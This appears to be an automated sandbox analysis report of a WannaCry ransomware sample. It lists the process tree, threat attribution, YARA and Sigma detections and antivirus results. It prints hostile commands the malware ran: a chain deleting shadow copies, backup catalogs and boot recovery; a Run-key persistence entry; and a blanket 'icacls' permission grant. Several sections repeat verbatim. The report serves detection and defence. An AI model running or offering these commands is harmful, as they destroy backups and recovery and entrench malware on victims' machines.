taskse.exe (PID: 5132 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 5088 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 636 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 544 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4932 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 1596 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1176 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 7928 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 2312 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 8068 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

rundll32.exe (PID: 7724 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
WannaCryptor, WannaCry, WannaCrypt		Lazarus Group	http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/ http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d	https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0x342d41:$x2: taskdl.exe 0x35962d:$x2: taskdl.exe 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0x359d91:$s2: Windows 10 --> 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x3591ff:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Downloads\110401715441892.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0xe2:$s1: @.exe">> m.vbs 0x10a:$s2: cscript.exe //nologo m.vbs 0xc:$s3: echo SET ow = WScript.CreateObject("WScript.Shell")> 0xf3:$s4: echo om.Save>> m.vbs
C:\Users\user\Downloads\r.wnry	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x27c:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0x342d41:$x2: taskdl.exe 0x35962d:$x2: taskdl.exe 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0x359d91:$s2: Windows 10 --> 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x3591ff:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Downloads\110401715441892.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0xe2:$s1: @.exe">> m.vbs 0x10a:$s2: cscript.exe //nologo m.vbs 0xc:$s3: echo SET ow = WScript.CreateObject("WScript.Shell")> 0xf3:$s4: echo om.Save>> m.vbs
C:\Users\user\Downloads\r.wnry	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x27c:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0x342d41:$x2: taskdl.exe 0x35962d:$x2: taskdl.exe 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0x359d91:$s2: Windows 10 --> 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x3591ff:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Downloads\110401715441892.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0xe2:$s1: @.exe">> m.vbs 0x10a:$s2: cscript.exe //nologo m.vbs 0xc:$s3: echo SET ow = WScript.CreateObject("WScript.Shell")> 0xf3:$s4: echo om.Save>> m.vbs
C:\Users\user\Downloads\r.wnry	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x27c:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0x342d41:$x2: taskdl.exe 0x35962d:$x2: taskdl.exe 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0x359d91:$s2: Windows 10 --> 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x3591ff:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
Click to see the 26 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000003.1771065015.000000000091C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000011.00000000.1752482036.000000000040E000.00000008.00000001.01000000.00000006.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000011.00000003.1770043806.0000000000918000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000011.00000003.1874843320.0000000000937000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000050.00000000.1876922038.000000000041F000.00000008.00000001.01000000.00000009.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000011.00000003.1875509943.0000000000938000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000011.00000002.2365255812.000000000040F000.00000004.00000001.01000000.00000006.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
Click to see the 2 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Delete shadow copy via WMIC

Source: Process started

Author: Joe Security: Data: Command: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: @WanaDecryptor@.exe vs, ParentImage: C:\Users\user\Downloads\@WanaDecryptor@.exe, ParentProcessId: 2656, ParentProcessName: @WanaDecryptor@.exe, ProcessCommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 1284, ProcessName: cmd.exe

System Summary

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: wmic shadowcopy delete, CommandLine: wmic shadowcopy delete, CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1284, ParentProcessName: cmd.exe, ProcessCommandLine: wmic shadowcopy delete, ProcessId: 1764, ProcessName: WMIC.exe

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f, CommandLine: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1092, ParentProcessName: cmd.exe, ProcessCommandLine: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f, ProcessId: 1468, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f, CommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Downloads\WannaCry (3).EXE" , ParentImage: C:\Users\user\Downloads\WannaCry (3).EXE, ParentProcessId: 6084, ParentProcessName: WannaCry (3).EXE, ProcessCommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f, ProcessId: 1092, ProcessName: cmd.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Downloads\WannaCry (3).EXE, ProcessId: 6084, TargetFilename: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\~SDDCC5.tmp

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 110401715441892.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7940, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 6784, ProcessName: cscript.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	Avira: detection malicious, Label: TR/Ransom.JB
Source: C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk	Avira: detection malicious, Label: LNK/Runner.VPDJ
Source: C:\@WanaDecryptor@.exe	Avira: detection malicious, Label: TR/FileCoder.724645
Source: C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk	Avira: detection malicious, Label: LNK/Runner.VPDJ
Source: C:\@WanaDecryptor@.exe	Avira: detection malicious, Label: TR/FileCoder.724645

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	ReversingLabs: Detection: 92%
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	Virustotal: Detection: 91%	Perma Link
Source: C:\@WanaDecryptor@.exe	ReversingLabs: Detection: 97%
Source: C:\@WanaDecryptor@.exe	Virustotal: Detection: 88%	Perma Link
Source: C:\Users\user\Downloads\taskdl.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\Downloads\taskdl.exe	Virustotal: Detection: 87%	Perma Link
Source: C:\Users\user\Downloads\taskse.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\Downloads\taskse.exe	Virustotal: Detection: 88%	Perma Link

Machine Learning detection for dropped file

Source: C:\@WanaDecryptor@.exe	Joe Sandbox ML: detected
Source: C:\@WanaDecryptor@.exe	Joe Sandbox ML: detected

Source: https://github.com/limiteci/WannaCry/blob/main/WannaCry.EXE

HTTP Parser: Base64 decoded: {"referrer":"https://github.com/limiteci/WannaCry","request_id":"98D2:22B9A1:5A80E52:7D30717:663F9076","visitor_id":"1492716516800434279","region_edge":"iad","region_render":"iad"}

Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.118.8.139:443 -> 192.168.2.16:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.118.8.139:443 -> 192.168.2.16:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.24.147:443 -> 192.168.2.16:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.65.120.166:443 -> 192.168.2.16:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.67.144.177:443 -> 192.168.2.16:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.79.252.202:443 -> 192.168.2.16:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.69.254:443 -> 192.168.2.16:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.213.254:443 -> 192.168.2.16:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.237.254:443 -> 192.168.2.16:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.254:443 -> 192.168.2.16:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.64.254:443 -> 192.168.2.16:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.254:443 -> 192.168.2.16:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.18.254:443 -> 192.168.2.16:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.21.81.200:443 -> 192.168.2.16:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 152.199.24.163:443 -> 192.168.2.16:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 152.199.24.163:443 -> 192.168.2.16:49938 version: TLS 1.2

Source: C:\Users\user\Downloads\WannaCry (3).EXE	File opened: C:\Users\All Users\Microsoft\ClickToRun\MachineData\Catalog\~SD1D81.tmp
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File opened: C:\Users\All Users\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\~SD1D83.tmp
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File opened: C:\Users\All Users\Microsoft\ClickToRun\~SD1D7F.tmp
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File opened: C:\Users\user\Downloads\@WanaDecryptor@.exe.lnk
